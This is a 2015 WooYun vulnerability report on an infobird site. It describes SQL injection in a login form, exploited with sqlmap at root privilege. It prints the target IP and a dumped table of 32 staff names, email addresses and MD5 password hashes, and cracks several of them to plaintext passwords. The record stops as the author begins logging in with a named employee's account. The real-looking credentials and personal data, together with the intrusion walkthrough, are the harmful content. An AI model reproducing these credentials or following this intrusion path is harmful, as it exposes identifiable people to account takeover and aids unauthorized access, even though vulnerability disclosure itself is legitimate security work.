infobird(迅鸟)某站点漏洞泄漏大量信息(涉及部分银行、保险财务账单)

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0137222

漏洞标题：infobird(迅鸟)某站点漏洞泄漏大量信息(涉及部分银行、保险财务账单)

漏洞作者： wsg00d

提交时间：2015-08-26 23:17

修复时间：2015-10-10 23:18

公开时间：2015-10-10 23:18

漏洞类型：用户资料大量泄漏

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-26：积极联系厂商并且等待厂商认领中，细节不对外公开
2015-10-10：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

infobird(迅鸟)某站点漏洞泄漏大量信息，涉及广发银行、昆仑健康险、百年人寿、中航三星、英孚教育、泰康人寿、中英人寿、利安人寿、友信、讯鸟等企业的财务账单报表，以及五百万的手机号码

详细说明：

IP：58.68.232.232

漏洞一：登录界面存在POST注入
burp抓包丢sqlmap跑一下，user参数存在注入

当前用户为root权限

数据库

网站管理员的一些信息

Database: biz_ketan
Table: aa_user
[32 entries]
+--------+----------------------------------+---------------------------+
| name   | password                         | user_name                 |
+--------+----------------------------------+---------------------------+
| admin  | 0f3161da5855cbbb777468036304832b | admin                     |
| 刘路超    | c6edfd2fd7ab8a6b3168dddb0e47d3e7 | liulc@infobird.com        |
| 刘路超    | 990aad5e6d88b8be2b61c53b44838e23 | liulc_gf@infobird.com     |
| 唐彩薇    | 46f94c8de14fb36680850768ff1b7f2a | tangcw@infobird.com       |
| 唐彩薇    | 46f94c8de14fb36680850768ff1b7f2a | tangcw_gf@infobird.com    |
| 唐彩薇    | 46f94c8de14fb36680850768ff1b7f2a | tangcw_yx@infobird.com    |
| 巡检测试账号 | e10adc3949ba59abbe56e057f20f883e | xunjian@infobird.com      |
| 市场     | e10adc3949ba59abbe56e057f20f883e | shichang@infobird.com     |
| 朱君     | 5b4380fb25d230a22653614c68a45c13 | zhujun@infobird.com       |
| 朱君     | 934a015c9af6cb64a4dcf5efc2ed47ee | zhujun_gf@infobird.com    |
| 朱君     | 71dd68ba47754e53f3cf878840d4dfe7 | zhujun_r360@infobird.com  |
| 李建东    | e10adc3949ba59abbe56e057f20f883e | lijd@infobird.com         |
| 李建东    | e10adc3949ba59abbe56e057f20f883e | lijd_gf@infobird.com      |
| 王广胜    | e10adc3949ba59abbe56e057f20f883e | wanggs@infobird.com       |
| 王慧营    | 746f92d15002423e470884589953487c | wanghy@infobird.com       |
| 王慧营    | f2edf6fca76c3c98133f213261b88d1b | wanghy_gf@infobird.com    |
| 王慧营    | 92d5546c33e8ab3f90ab5b1eaf5fb43c | wanghy_yx@infobird.com    |
| 王慧营    | eacc7241ce88d2b3c75cb50cce49690f | wanghy_zh@infobird.com    |
| 王慧营    | 26f7e3e694290166854d8d6952b81e62 | wanghy_r360@infobird.com  |
| 胡丽娜    | 844b2eea4bd84f3c21b71a12f78d0c30 | huln_gf@infobird.com      |
| 胡丽娜    | c673bb4cf0f01fbac13ad30fad6e253f | huln@infobird.com         |
| 账号管理员  | c4ca4238a0b923820dcc509a6f75849b | admin@163.com             |
| 运营测试账号 | e10adc3949ba59abbe56e057f20f883e | test@infobird.com         |
| 郑志军    | e10adc3949ba59abbe56e057f20f883e | zhengzj@infobird.com      |
| 郑志军    | 4297f44b13955235245b2497399d7a93 | zhengzj_gf@infobird.com   |
| 郑志军    | e10adc3949ba59abbe56e057f20f883e | zhengzj_yx@infobird.com   |
| 郑志军    | 4297f44b13955235245b2497399d7a93 | zhengzj_gfkw@infobird.com |
| 郑志军    | 4297f44b13955235245b2497399d7a93 | zhengzj_zh@infobird.com   |
| 郑志军    | 4297f44b13955235245b2497399d7a93 | zhengzj_la@infobird.com   |
| 韩楠     | e10adc3949ba59abbe56e057f20f883e | hann_gf@infobird.com      |
| 龚佑炜    | acb81b3e52b04801d9ffd68c3338da66 | gongyw@infobird.com       |
| 龚佑炜    | df0c9d9ff26be5b0ffba78a140dec4ac | gongyw_gf@infobird.com    |
+--------+----------------------------------+---------------------------+

随便拿几个密码丢cmd5能解密出来

市场     | e10adc3949ba59abbe56e057f20f883e | shichang@infobird.com    密码为123456
巡检测试账号 | e10adc3949ba59abbe56e057f20f883e | xunjian@infobird.com  密码为123456
账号管理员  | c4ca4238a0b923820dcc509a6f75849b | admin@163.com 密码为 1
运营测试账号 | e10adc3949ba59abbe56e057f20f883e | test@infobird.com  密码为123456
唐彩薇    | 46f94c8de14fb36680850768ff1b7f2a | tangcw@infobird.com   密码为123qwe
王广胜    | e10adc3949ba59abbe56e057f20f883e | wanggs@infobird.com   密码123456

等等等等。全是弱口令。。但是admin的密码没解出来，不急
尝试先用唐彩薇这个帐号登录